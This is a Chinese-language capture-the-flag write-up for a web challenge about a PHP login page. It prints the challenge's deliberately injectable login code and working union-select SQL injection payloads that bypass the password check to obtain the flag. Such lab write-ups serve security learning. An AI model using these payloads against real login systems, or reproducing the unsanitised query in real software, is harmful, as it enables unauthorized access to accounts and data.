實驗吧——WEB-程序邏輯問題

程序邏輯問題

在這裏插入圖片描述
直接查看網頁源代碼

<html>
<head>
welcome to simplexue
</head>
<body>
<br />
<b>Notice</b>:  Use of undefined constant user - assumed 'user' in <b>C:\h43a1W3\phpstudy\WWW\web\5\index.php</b> on line <b>9</b><br />
<br />
<b>Notice</b>:  Undefined index: user in <b>C:\h43a1W3\phpstudy\WWW\web\5\index.php</b> on line <b>9</b><br />
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

發現存在index.txt

<?php
if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

 if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
     }
  }
  1. mysql_query()函數

mysql_query() 函數執行一條 MySQL 查詢。

  1. mysql_fetch_array()函數

mysql_fetch_array() 函數從結果集中取得一行作爲關聯數組,或數字數組,或二者兼有返回根據從結果集取得的行生成的數組,如果沒有更多行則返回 false。

  1. strcasecmp()函數

strcasecmp() 函數比較兩個字符串(不區分大小寫)。

通過代碼可以瞭解它從數據庫中查詢user用戶的pw值;將pass值進行md5加密後賦給pass變量;最後判斷數據庫中的pw值是否與加密後的pass變量一致。

$sql = "select pw from php where user='$user'";

在這裏我們可以利用sql語句,直接給$sql返回一個值。也就是說,不需要訪問題裏的數據庫,只要我們修改了$sql的值,然後使得它與加密後的pass值一致即可拿到flag。

可以用union select聯合查詢來繞過,構造如下payload:

user:username' union select md5(1) #
pass:1
user:username' union select 'c20ad4d76fe97759aa27a0c99bff6710' #
pass:12

在這裏插入圖片描述

發佈了49 篇原創文章 · 獲贊 40 · 訪問量 16萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章